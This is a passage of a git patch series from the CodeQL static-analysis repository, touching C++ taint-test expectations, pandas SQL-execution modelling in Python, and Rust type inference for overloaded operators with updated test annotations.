lpOverlapped ) { char c = reinterpret_cast(lpOverlapped->hEvent); - sink(c); // $ MISSING: ir + sink(c); // $ ir } void readFile(HANDLE hFile) { From 55c70a4cae77e06bdc8db8cce5920127e126f863 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Tue, 27 May 2025 13:44:21 +0200 Subject: [PATCH 408/535] Fix nitpicks --- .../ql/test/library-tests/frameworks/pandas/dataframe_query.py | 1 - 1 file changed, 1 deletion(-) diff --git a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py index 6ad7a6101c51..e9a368f8c1ba 100644 --- a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py +++ b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py @@ -60,7 +60,6 @@ df.query("query") # $getCode="query" df.eval("query") # $getCode="query" -connection = sqlite3.connect("pets.db") df = pd.read_sql("sql query", connection) # $getSql="sql query" df.query("query") # $getCode="query" df.eval("query") # $getCode="query" From 8a1c323a9880b2859fddef47c4c9e79bc1f59822 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Tue, 27 May 2025 13:45:40 +0200 Subject: [PATCH 409/535] Change naming to PascalCase --- python/ql/lib/semmle/python/frameworks/Pandas.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Pandas.qll b/python/ql/lib/semmle/python/frameworks/Pandas.qll index fecfb58674f0..2c3601546719 100644 --- a/python/ql/lib/semmle/python/frameworks/Pandas.qll +++ b/python/ql/lib/semmle/python/frameworks/Pandas.qll @@ -157,8 +157,8 @@ private module Pandas { * which allows for executing raw SQL queries against a database. * See https://pandas.pydata.org/docs/reference/api/pandas.read_sql.html */ - class ReadSQLCall extends SqlExecution::Range, DataFlow::CallCfgNode { - ReadSQLCall() { this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() } + class ReadSqlCall extends SqlExecution::Range, DataFlow::CallCfgNode { + ReadSqlCall() { this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() } override DataFlow::Node getSql() { result in [this.getArg(0), this.getArgByName("sql")] } } From e66659276ba3c4f1f679580fbba98374704fba79 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Tue, 27 May 2025 13:51:03 +0200 Subject: [PATCH 410/535] Fix formatting --- python/ql/lib/semmle/python/frameworks/Pandas.qll | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/python/ql/lib/semmle/python/frameworks/Pandas.qll b/python/ql/lib/semmle/python/frameworks/Pandas.qll index 2c3601546719..d4c94f3e8386 100644 --- a/python/ql/lib/semmle/python/frameworks/Pandas.qll +++ b/python/ql/lib/semmle/python/frameworks/Pandas.qll @@ -158,7 +158,9 @@ private module Pandas { * See https://pandas.pydata.org/docs/reference/api/pandas.read_sql.html */ class ReadSqlCall extends SqlExecution::Range, DataFlow::CallCfgNode { - ReadSqlCall() { this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() } + ReadSqlCall() { + this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() + } override DataFlow::Node getSql() { result in [this.getArg(0), this.getArgByName("sql")] } } From d92d4549415911bb43edeeb5dc705ad611f2d770 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 27 May 2025 13:34:30 +0200 Subject: [PATCH 411/535] Rust: Implement type inference for overloaded operators --- .../rust/elements/internal/BinaryExprImpl.qll | 8 +- .../rust/elements/internal/OperationImpl.qll | 94 +++++++- .../rust/elements/internal/PrefixExprImpl.qll | 4 +- .../rust/elements/internal/RefExprImpl.qll | 4 +- .../codeql/rust/internal/TypeInference.qll | 63 ++++- .../test/library-tests/type-inference/main.rs | 228 +++++++++--------- .../type-inference/type-inference.expected | 141 +++++++++++ 7 files changed, 416 insertions(+), 126 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll index 966d64936377..772982216c0a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll @@ -28,6 +28,12 @@ module Impl { override string getOperatorName() { result = Generated::BinaryExpr.super.getOperatorName() } - override Expr getAnOperand() { result = [this.getLhs(), this.getRhs()] } + override int getNumberOfOperands() { result = 2 } + + override Expr getOperand(int n) { + n = 0 and result = this.getLhs() + or + n = 1 and result = this.getRhs() + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll index deffd72086d6..78fff948027e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll @@ -7,6 +7,78 @@ private import rust private import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl +/** + * Holds if the operator `op` is overloaded to a trait with the canonical path + * `path` and the method name `method`. + */ +private predicate isOverloaded(string op, string path, string method) { + // Negation + op = "-" and path = "core::ops::arith::Neg" and method = "neg" + or + // Not + op = "!" and path = "core::ops::bit::Not" and method = "not" + or + // Dereference + op = "*" and path = "core::ops::Deref" and method = "deref" + or + // Comparison operators + op = "==" and path = "core::cmp::PartialEq" and method = "eq" + or + op = "!=" and path = "core::cmp::PartialEq" and method = "ne" + or + op = "<" and path = "core::cmp::PartialOrd" and method = "lt" + or + op = "<=" and path = "core::cmp::PartialOrd" and method = "le" + or + op = ">" and path = "core::cmp::PartialOrd" and method = "gt" + or + op = ">=" and path = "core::cmp::PartialOrd" and method = "ge" + or + // Arithmetic operators + op = "+" and path = "core::ops::arith::Add" and method = "add" + or + op = "-" and path = "core::ops::arith::Sub" and method = "sub" + or + op = "*" and path = "core::ops::arith::Mul" and method = "mul" + or + op = "/" and path = "core::ops::arith::Div" and method = "div" + or + op = "%" and path = "core::ops::arith::Rem" and method = "rem" + or + // Arithmetic assignment expressions + op = "+=" and path = "core::ops::arith::AddAssign" and method = "add_assign" + or + op = "-=" and path = "core::ops::arith::SubAssign" and method = "sub_assign" + or + op = "*=" and path = "core::ops::arith::MulAssign" and method = "mul_assign" + or + op = "/=" and path = "core::ops::arith::DivAssign" and method = "div_assign" + or + op = "%=" and path = "core::ops::arith::RemAssign" and method = "rem_assign" + or + // Bitwise operators + op = "&" and path = "core::ops::bit::BitAnd" and method = "bitand" + or + op = "|" and path = "core::ops::bit::BitOr" and method = "bitor" + or + op = "^" and path = "core::ops::bit::BitXor" and method = "bitxor" + or + op = "<<" and path = "core::ops::bit::Shl" and method = "shl" + or + op = ">>" and path = "core::ops::bit::Shr" and method = "shr" + or + // Bitwise assignment operators + op = "&=" and path = "core::ops::bit::BitAndAssign" and method = "bitand_assign" + or + op = "|=" and path = "core::ops::bit::BitOrAssign" and method = "bitor_assign" + or + op = "^=" and path = "core::ops::bit::BitXorAssign" and method = "bitxor_assign" + or + op = "<<=" and path = "core::ops::bit::ShlAssign" and method = "shl_assign" + or + op = ">>=" and path = "core::ops::bit::ShrAssign" and method = "shr_assign" +} + /** * INTERNAL: This module contains the customizable definition of `Operation` and should not * be referenced directly. @@ -16,14 +88,28 @@ module Impl { * An operation, for example `&&`, `+=`, `!` or `*`. */ abstract class Operation extends ExprImpl::Expr { + /** Gets the operator name of this operation, if it exists. */ + abstract string getOperatorName(); + + /** Gets the `n`th operand of this operation, if any. */ + abstract Expr getOperand(int n); + /** - * Gets the operator name of this operation, if it exists. + * Gets the number of operands of this operation. + * + * This is either 1 for prefix operations, or 2 for binary operations. */ - abstract string getOperatorName(); + abstract int getNumberOfOperands(); + + /** Gets an operand of this operation. */ + Expr getAnOperand() { result = this.getOperand(_) } /** - * Gets an operand of this operation. + * Holds if this operation is overloaded to the method `methodName` of the + * trait `trait`. */ - abstract Expr getAnOperand(); + predicate isOverloaded(Trait trait, string methodName) { + isOverloaded(this.getOperatorName(), trait.getCanonicalPath(), methodName) + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll index 75e2969fabc5..7257dc38fcfd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll @@ -26,6 +26,8 @@ module Impl { override string getOperatorName() { result = Generated::PrefixExpr.super.getOperatorName() } - override Expr getAnOperand() { result = this.getExpr() } + override int getNumberOfOperands() { result = 1 } + + override Expr getOperand(int n) { n = 0 and result = this.getExpr() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll index 752b94dbacd2..66357c1fcbb5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll @@ -29,7 +29,9 @@ module Impl { override string getOperatorName() { result = "&" } - override Expr getAnOperand() { result = this.getExpr() } + override int getNumberOfOperands() { result = 1 } + + override Expr getOperand(int n) { n = 0 and result = this.getExpr() } private string getSpecPart(int index) { index = 0 and this.isRaw() and result = "raw" diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 5c29694c3f4d..40bf49ee69f4 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -643,12 +643,22 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { private import codeql.rust.elements.internal.CallExprImpl::Impl as CallExprImpl - class Access extends CallExprBase { + abstract class Access extends Expr { + abstract Type getTypeArgument(TypeArgumentPosition apos, TypePath path); + + abstract AstNode getNodeAt(AccessPosition apos); + + abstract Type getInferredType(AccessPosition apos, TypePath path); + + abstract Declaration getTarget(); + } + + private class CallExprBaseAccess extends Access instanceof CallExprBase { private TypeMention getMethodTypeArg(int i) { result = this.(MethodCallExpr).getGenericArgList().getTypeArg(i) } - Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { + override Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { exists(TypeMention arg | result = arg.resolveTypeAt(path) | arg = getExplicitTypeArgMention(CallExprImpl::getFunctionPath(this), apos.asTypeParam()) or @@ -656,7 +666,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ) } - AstNode getNodeAt(AccessPosition apos) { + override AstNode getNodeAt(AccessPosition apos) { exists(int p, boolean isMethodCall | argPos(this, result, p, isMethodCall) and apos = TPositionalAccessPosition(p, isMethodCall) @@ -669,17 +679,40 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { apos = TReturnAccessPosition() } - Type getInferredType(AccessPosition apos, TypePath path) { + override Type getInferredType(AccessPosition apos, TypePath path) { result = inferType(this.getNodeAt(apos), path) } - Declaration getTarget() { + override Declaration getTarget() { result = CallExprImpl::getResolvedFunction(this) or result = inferMethodCallTarget(this) // mutual recursion; resolving method calls requires resolving types and vice versa } } + private class OperationAccess extends Access instanceof Operation { + override Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { + // The syntax for operators does not allow type arguments. + none() + } + + override AstNode getNodeAt(AccessPosition apos) { + result = super.getOperand(0) and apos = TSelfAccessPosition() + or + result = super.getOperand(1) and apos = TPositionalAccessPosition(0, true) + or + result = this and apos = TReturnAccessPosition() + } + + override Type getInferredType(AccessPosition apos, TypePath path) { + result = inferType(this.getNodeAt(apos), path) + } + + override Declaration getTarget() { + result = inferMethodCallTarget(this) // mutual recursion; resolving method calls requires resolving types and vice versa + } + } + predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) { apos.isSelf() and dpos.isSelf() @@ -1059,6 +1092,26 @@ private module MethodCall { pragma[nomagic] override Type getTypeAt(TypePath path) { result = inferType(receiver, path) } } + + private class OperationMethodCall extends MethodCallImpl instanceof Operation { + TraitItemNode trait; + string methodName; + + OperationMethodCall() { super.isOverloaded(trait, methodName) } + + override string getMethodName() { result = methodName } + + override int getArity() { result = this.(Operation).getNumberOfOperands() - 1 } + + override Trait getTrait() { result = trait } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { + result = inferType(this.(BinaryExpr).getLhs(), path) + or + result = inferType(this.(PrefixExpr).getExpr(), path) + } + } } import MethodCall diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index d6696705c3e7..36d3f5a82ea8 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -770,7 +770,7 @@ mod method_supertraits { where Self: Sized, { - if 3 > 2 { // $ MISSING: method=gt + if 3 > 2 { // $ method=gt self.m1() // $ method=MyTrait1::m1 } else { Self::m1(self) @@ -784,7 +784,7 @@ mod method_supertraits { where Self: Sized, { - if 3 > 2 { // $ MISSING: method=gt + if 3 > 2 { // $ method=gt self.m2().a // $ method=m2 $ fieldof=MyThing } else { Self::m2(self).a // $ fieldof=MyThing @@ -1027,7 +1027,7 @@ mod option_methods { println!("{:?}", MyOption::>::flatten(x6)); #[rustfmt::skip] - let from_if = if 3 > 2 { // $ MISSING: method=gt + let from_if = if 3 > 2 { // $ method=gt MyOption::MyNone() } else { MyOption::MySome(S) @@ -1035,7 +1035,7 @@ mod option_methods { println!("{:?}", from_if); #[rustfmt::skip] - let from_match = match 3 > 2 { // $ MISSING: method=gt + let from_match = match 3 > 2 { // $ method=gt true => MyOption::MyNone(), false => MyOption::MySome(S), }; @@ -1043,7 +1043,7 @@ mod option_methods { #[rustfmt::skip] let from_loop = loop { - if 3 > 2 { // $ MISSING: method=gt + if 3 > 2 { // $ method=gt break MyOption::MyNone(); } break MyOption::MySome(S); @@ -1245,7 +1245,7 @@ mod builtins { pub fn f() { let x: i32 = 1; // $ type=x:i32 let y = 2; // $ type=y:i32 - let z = x + y; // $ MISSING: type=z:i32 method=add + let z = x + y; // $ type=z:i32 method=add let z = x.abs(); // $ method=abs $ type=z:i32 let c = 'c'; // $ type=c:char let hello = "Hello"; // $ type=hello:str @@ -1262,7 +1262,7 @@ mod operators { let y = true || false; // $ type=y:bool let mut a; - let cond = 34 == 33; // $ MISSING: method=eq + let cond = 34 == 33; // $ method=eq if cond { let z = (a = 1); // $ type=z:() type=a:i32 } else { @@ -1287,8 +1287,8 @@ mod overloadable_operators { // Vec2::add fn add(self, rhs: Self) -> Self { Vec2 { - x: self.x + rhs.x, // $ fieldof=Vec2 MISSING: method=add - y: self.y + rhs.y, // $ fieldof=Vec2 MISSING: method=add + x: self.x + rhs.x, // $ fieldof=Vec2 method=add + y: self.y + rhs.y, // $ fieldof=Vec2 method=add } } } @@ -1296,8 +1296,8 @@ mod overloadable_operators { // Vec2::add_assign #[rustfmt::skip] fn add_assign(&mut self, rhs: Self) { - self.x += rhs.x; // $ fieldof=Vec2 MISSING: method=add_assign - self.y += rhs.y; // $ fieldof=Vec2 MISSING: method=add_assign + self.x += rhs.x; // $ fieldof=Vec2 method=add_assign + self.y += rhs.y; // $ fieldof=Vec2 method=add_assign } } impl Sub for Vec2 { @@ -1305,8 +1305,8 @@ mod overloadable_operators { // Vec2::sub fn sub(self, rhs: Self) -> Self { Vec2 { - x: self.x - rhs.x, // $ fieldof=Vec2 MISSING: method=sub - y: self.y - rhs.y, // $ fieldof=Vec2 MISSING: method=sub + x: self.x - rhs.x, // $ fieldof=Vec2 method=sub + y: self.y - rhs.y, // $ fieldof=Vec2 method=sub } } } @@ -1314,8 +1314,8 @@ mod overloadable_operators { // Vec2::sub_assign #[rustfmt::skip] fn sub_assign(&mut self, rhs: Self) { - self.x -= rhs.x; // $ fieldof=Vec2 MISSING: method=sub_assign - self.y -= rhs.y; // $ fieldof=Vec2 MISSING: method=sub_assign + self.x -= rhs.x; // $ fieldof=Vec2 method=sub_assign + self.y -= rhs.y; // $ fieldof=Vec2 method=sub_assign } } impl Mul for Vec2 { @@ -1323,16 +1323,16 @@ mod overloadable_operators { // Vec2::mul fn mul(self, rhs: Self) -> Self { Vec2 { - x: self.x * rhs.x, // $ fieldof=Vec2 MISSING: method=mul - y: self.y * rhs.y, // $ fieldof=Vec2 MISSING: method=mul + x: self.x * rhs.x, // $ fieldof=Vec2 method=mul + y: self.y * rhs.y, // $ fieldof=Vec2 method=mul } } } impl MulAssign for Vec2 { // Vec2::mul_assign fn mul_assign(&mut self, rhs: Self) { - self.x *= rhs.x; // $ fieldof=Vec2 MISSING: method=mul_assign - self.y *= rhs.y; // $ fieldof=Vec2 MISSING: method=mul_assign + self.x *= rhs.x; // $ fieldof=Vec2 method=mul_assign + self.y *= rhs.y; // $ fieldof=Vec2 method=mul_assign } } impl Div for Vec2 { @@ -1340,16 +1340,16 @@ mod overloadable_operators { // Vec2::div fn div(self, rhs: Self) -> Self { Vec2 { - x: self.x / rhs.x, // $ fieldof=Vec2 MISSING: method=div - y: self.y / rhs.y, // $ fieldof=Vec2 MISSING: method=div + x: self.x / rhs.x, // $ fieldof=Vec2 method=div + y: self.y / rhs.y, // $ fieldof=Vec2 method=div } } } impl DivAssign for Vec2 { // Vec2::div_assign fn div_assign(&mut self, rhs: Self) { - self.x /= rhs.x; // $ fieldof=Vec2 MISSING: method=div_assign - self.y /= rhs.y; // $ fieldof=Vec2 MISSING: method=div_assign + self.x /= rhs.x; // $ fieldof=Vec2 method=div_assign + self.y /= rhs.y; // $ fieldof=Vec2 method=div_assign } } impl Rem for Vec2 { @@ -1357,16 +1357,16 @@ mod overloadable_operators { // Vec2::rem fn rem(self, rhs: Self) -> Self { Vec2 { - x: self.x % rhs.x, // $ fieldof=Vec2 MISSING: method=rem - y: self.y % rhs.y, // $ fieldof=Vec2 MISSING: method=rem + x: self.x % rhs.x, // $ fieldof=Vec2 method=rem + y: self.y % rhs.y, // $ fieldof=Vec2 method=rem } } } impl RemAssign for Vec2 { // Vec2::rem_assign fn rem_assign(&mut self, rhs: Self) { - self.x %= rhs.x; // $ fieldof=Vec2 MISSING: method=rem_assign - self.y %= rhs.y; // $ fieldof=Vec2 MISSING: method=rem_assign + self.x %= rhs.x; // $ fieldof=Vec2 method=rem_assign + self.y %= rhs.y; // $ fieldof=Vec2 method=rem_assign } } impl BitAnd for Vec2 { @@ -1374,16 +1374,16 @@ mod overloadable_operators { // Vec2::bitand fn bitand(self, rhs: Self) -> Self { Vec2 { - x: self.x & rhs.x, // $ fieldof=Vec2 MISSING: method=bitand - y: self.y & rhs.y, // $ fieldof=Vec2 MISSING: method=bitand + x: self.x & rhs.x, // $ fieldof=Vec2 method=bitand + y: self.y & rhs.y, // $ fieldof=Vec2 method=bitand } } } impl BitAndAssign for Vec2 { // Vec2::bitand_assign fn bitand_assign(&mut self, rhs: Self) { - self.x &= rhs.x; // $ fieldof=Vec2 MISSING: method=bitand_assign - self.y &= rhs.y; // $ fieldof=Vec2 MISSING: method=bitand_assign + self.x &= rhs.x; // $ fieldof=Vec2 method=bitand_assign + self.y &= rhs.y; // $ fieldof=Vec2 method=bitand_assign } } impl BitOr for Vec2 { @@ -1391,16 +1391,16 @@ mod overloadable_operators { // Vec2::bitor fn bitor(self, rhs: Self) -> Self { Vec2 { - x: self.x | rhs.x, // $ fieldof=Vec2 MISSING: method=bitor - y: self.y | rhs.y, // $ fieldof=Vec2 MISSING: method=bitor + x: self.x | rhs.x, // $ fieldof=Vec2 method=bitor + y: self.y | rhs.y, // $ fieldof=Vec2 method=bitor } } } impl BitOrAssign for Vec2 { // Vec2::bitor_assign fn bitor_assign(&mut self, rhs: Self) { - self.x |= rhs.x; // $ fieldof=Vec2 MISSING: method=bitor_assign - self.y |= rhs.y; // $ fieldof=Vec2 MISSING: method=bitor_assign + self.x |= rhs.x; // $ fieldof=Vec2 method=bitor_assign + self.y |= rhs.y; // $ fieldof=Vec2 method=bitor_assign } } impl BitXor for Vec2 { @@ -1408,16 +1408,16 @@ mod overloadable_operators { // Vec2::bitxor fn bitxor(self, rhs: Self) -> Self { Vec2 { - x: self.x ^ rhs.x, // $ fieldof=Vec2 MISSING: method=bitxor - y: self.y ^ rhs.y, // $ fieldof=Vec2 MISSING: method=bitxor + x: self.x ^ rhs.x, // $ fieldof=Vec2 method=bitxor + y: self.y ^ rhs.y, // $ fieldof=Vec2 method=bitxor } } } impl BitXorAssign for Vec2 { // Vec2::bitxor_assign fn bitxor_assign(&mut self, rhs: Self) { - self.x ^= rhs.x; // $ fieldof=Vec2 MISSING: method=bitxor_assign - self.y ^= rhs.y; // $ fieldof=Vec2 MISSING: method=bitxor_assign + self.x ^= rhs.x; // $ fieldof=Vec2 method=bitxor_assign + self.y ^= rhs.y; // $ fieldof=Vec2 method=bitxor_assign } } impl Shl for Vec2 { @@ -1425,16 +1425,16 @@ mod overloadable_operators { // Vec2::shl fn shl(self, rhs: u32) -> Self { Vec2 { - x: self.x << rhs, // $ fieldof=Vec2 MISSING: method=shl - y: self.y << rhs, // $ fieldof=Vec2 MISSING: method=shl + x: self.x << rhs, // $ fieldof=Vec2 method=shl + y: self.y << rhs, // $ fieldof=Vec2 method=shl } } } impl ShlAssign for Vec2 { // Vec2::shl_assign fn shl_assign(&mut self, rhs: u32) { - self.x <<= rhs; // $ fieldof=Vec2 MISSING: method=shl_assign - self.y <<= rhs; // $ fieldof=Vec2 MISSING: method=shl_assign + self.x <<= rhs; // $ fieldof=Vec2 method=shl_assign + self.y <<= rhs; // $ fieldof=Vec2 method=shl_assign } } impl Shr for Vec2 { @@ -1442,16 +1442,16 @@ mod overloadable_operators { // Vec2::shr fn shr(self, rhs: u32) -> Self { Vec2 { - x: self.x >> rhs, // $ fieldof=Vec2 MISSING: method=shr - y: self.y >> rhs, // $ fieldof=Vec2 MISSING: method=shr + x: self.x >> rhs, // $ fieldof=Vec2 method=shr + y: self.y >> rhs, // $ fieldof=Vec2 method=shr } } } impl ShrAssign for Vec2 { // Vec2::shr_assign fn shr_assign(&mut self, rhs: u32) { - self.x >>= rhs; // $ fieldof=Vec2 MISSING: method=shr_assign - self.y >>= rhs; // $ fieldof=Vec2 MISSING: method=shr_assign + self.x >>= rhs; // $ fieldof=Vec2 method=shr_assign + self.y >>= rhs; // $ fieldof=Vec2 method=shr_assign } } impl Neg for Vec2 { @@ -1459,8 +1459,8 @@ mod overloadable_operators { // Vec2::neg fn neg(self) -> Self { Vec2 { - x: -self.x, // $ fieldof=Vec2 MISSING: method=neg - y: -self.y, // $ fieldof=Vec2 MISSING: method=neg + x: -self.x, // $ fieldof=Vec2 method=neg + y: -self.y, // $ fieldof=Vec2 method=neg } } } @@ -1469,164 +1469,164 @@ mod overloadable_operators { // Vec2::not fn not(self) -> Self { Vec2 { - x: !self.x, // $ fieldof=Vec2 MISSING: method=not - y: !self.y, // $ fieldof=Vec2 MISSING: method=not + x: !self.x, // $ fieldof=Vec2 method=not + y: !self.y, // $ fieldof=Vec2 method=not } } } impl PartialEq for Vec2 { // Vec2::eq fn eq(&self, other: &Self) -> bool { - self.x == other.x && self.y == other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=eq + self.x == other.x && self.y == other.y // $ fieldof=Vec2 method=eq } // Vec2::ne fn ne(&self, other: &Self) -> bool { - self.x != other.x || self.y != other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=ne + self.x != other.x || self.y != other.y // $ fieldof=Vec2 method=ne } } impl PartialOrd for Vec2 { // Vec2::partial_cmp fn partial_cmp(&self, other: &Self) -> Option { - (self.x + self.y).partial_cmp(&(other.x + other.y)) // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=partial_cmp method=add + (self.x + self.y).partial_cmp(&(other.x + other.y)) // $ fieldof=Vec2 method=partial_cmp method=add } // Vec2::lt fn lt(&self, other: &Self) -> bool { - self.x < other.x && self.y < other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=lt + self.x < other.x && self.y < other.y // $ fieldof=Vec2 method=lt } // Vec2::le fn le(&self, other: &Self) -> bool { - self.x <= other.x && self.y <= other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=le + self.x <= other.x && self.y <= other.y // $ fieldof=Vec2 method=le } // Vec2::gt fn gt(&self, other: &Self) -> bool { - self.x > other.x && self.y > other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=gt + self.x > other.x && self.y > other.y // $ fieldof=Vec2 method=gt } // Vec2::ge fn ge(&self, other: &Self) -> bool { - self.x >= other.x && self.y >= other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=ge + self.x >= other.x && self.y >= other.y // $ fieldof=Vec2 method=ge } } pub fn f() { // Test for all overloadable operators on `i64` // Comparison operators - let i64_eq = (1i64 == 2i64); // $ MISSING: type=i64_eq:bool method=eq - let i64_ne = (3i64 != 4i64); // $ MISSING: type=i64_ne:bool method=ne - let i64_lt = (5i64 < 6i64); // $ MISSING: type=i64_lt:bool method=lt - let i64_le = (7i64 <= 8i64); // $ MISSING: type=i64_le:bool method=le - let i64_gt = (9i64 > 10i64); // $ MISSING: type=i64_gt:bool method=gt - let i64_ge = (11i64 >= 12i64); // $ MISSING: type=i64_ge:bool method=ge + let i64_eq = (1i64 == 2i64); // $ type=i64_eq:bool method=eq + let i64_ne = (3i64 != 4i64); // $ type=i64_ne:bool method=ne + let i64_lt = (5i64 < 6i64); // $ type=i64_lt:bool method=lt + let i64_le = (7i64 <= 8i64); // $ type=i64_le:bool method=le + let i64_gt = (9i64 > 10i64); // $ type=i64_gt:bool method=gt + let i64_ge = (11i64 >= 12i64); // $ type=i64_ge:bool method=ge // Arithmetic operators - let i64_add = 13i64 + 14i64; // $ MISSING: type=i64_add:i64 method=add - let i64_sub = 15i64 - 16i64; // $ MISSING: type=i64_sub:i64 method=sub - let i64_mul = 17i64 * 18i64; // $ MISSING: type=i64_mul:i64 method=mul - let i64_div = 19i64 / 20i64; // $ MISSING: type=i64_div:i64 method=div - let i64_rem = 21i64 % 22i64; // $ MISSING: type=i64_rem:i64 method=rem + let i64_add = 13i64 + 14i64; // $ type=i64_add:i64 method=add + let i64_sub = 15i64 - 16i64; // $ type=i64_sub:i64 method=sub + let i64_mul = 17i64 * 18i64; // $ type=i64_mul:i64 method=mul + let i64_div = 19i64 / 20i64; // $ type=i64_div:i64 method=div + let i64_rem = 21i64 % 22i64; // $ type=i64_rem:i64 method=rem // Arithmetic assignment operators let mut i64_add_assign = 23i64; - i64_add_assign += 24i64; // $ MISSING: method=add_assign + i64_add_assign += 24i64; // $ method=add_assign let mut i64_sub_assign = 25i64; - i64_sub_assign -= 26i64; // $ MISSING: method=sub_assign + i64_sub_assign -= 26i64; // $ method=sub_assign let mut i64_mul_assign = 27i64; - i64_mul_assign *= 28i64; // $ MISSING: method=mul_assign + i64_mul_assign *= 28i64; // $ method=mul_assign let mut i64_div_assign = 29i64; - i64_div_assign /= 30i64; // $ MISSING: method=div_assign + i64_div_assign /= 30i64; // $ method=div_assign let mut i64_rem_assign = 31i64; - i64_rem_assign %= 32i64; // $ MISSING: method=rem_assign + i64_rem_assign %= 32i64; // $ method=rem_assign // Bitwise operators - let i64_bitand = 33i64 & 34i64; // $ MISSING: type=i64_bitand:i64 method=bitand - let i64_bitor = 35i64 | 36i64; // $ MISSING: type=i64_bitor:i64 method=bitor - let i64_bitxor = 37i64 ^ 38i64; // $ MISSING: type=i64_bitxor:i64 method=bitxor - let i64_shl = 39i64 << 40i64; // $ MISSING: type=i64_shl:i64 method=shl - let i64_shr = 41i64 >> 42i64; // $ MISSING: type=i64_shr:i64 method=shr + let i64_bitand = 33i64 & 34i64; // $ type=i64_bitand:i64 method=bitand + let i64_bitor = 35i64 | 36i64; // $ type=i64_bitor:i64 method=bitor + let i64_bitxor = 37i64 ^ 38i64; // $ type=i64_bitxor:i64 method=bitxor + let i64_shl = 39i64 << 40i64; // $ type=i64_shl:i64 method=shl + let i64_shr = 41i64 >> 42i64; // $ type=i64_shr:i64 method=shr // Bitwise assignment operators let mut i64_bitand_assign = 43i64; - i64_bitand_assign &= 44i64; // $ MISSING: method=bitand_assign + i64_bitand_assign &= 44i64; // $ method=bitand_assign let mut i64_bitor_assign = 45i64; - i64_bitor_assign |= 46i64; // $ MISSING: method=bitor_assign + i64_bitor_assign |= 46i64; // $ method=bitor_assign let mut i64_bitxor_assign = 47i64; - i64_bitxor_assign ^= 48i64; // $ MISSING: method=bitxor_assign + i64_bitxor_assign ^= 48i64; // $ method=bitxor_assign let mut i64_shl_assign = 49i64; - i64_shl_assign <<= 50i64; // $ MISSING: method=shl_assign + i64_shl_assign <<= 50i64; // $ method=shl_assign let mut i64_shr_assign = 51i64; - i64_shr_assign >>= 52i64; // $ MISSING: method=shr_assign + i64_shr_assign >>= 52i64; // $ method=shr_assign - let i64_neg = -53i64; // $ MISSING: type=i64_neg:i64 method=neg - let i64_not = !54i64; // $ MISSING: type=i64_not:i64 method=not + let i64_neg = -53i64; // $ type=i64_neg:i64 method=neg + let i64_not = !54i64; // $ type=i64_not:i64 method=not // Test for all overloadable operators on Vec2 let v1 = Vec2 { x: 1, y: 2 }; let v2 = Vec2 { x: 3, y: 4 }; // Comparison operators - let vec2_eq = v1 == v2; // $ MISSING: type=vec2_eq:bool method=Vec2::eq - let vec2_ne = v1 != v2; // $ MISSING: type=vec2_ne:bool method=Vec2::ne - let vec2_lt = v1 < v2; // $ MISSING: type=vec2_lt:bool method=Vec2::lt - let vec2_le = v1 <= v2; // $ MISSING: 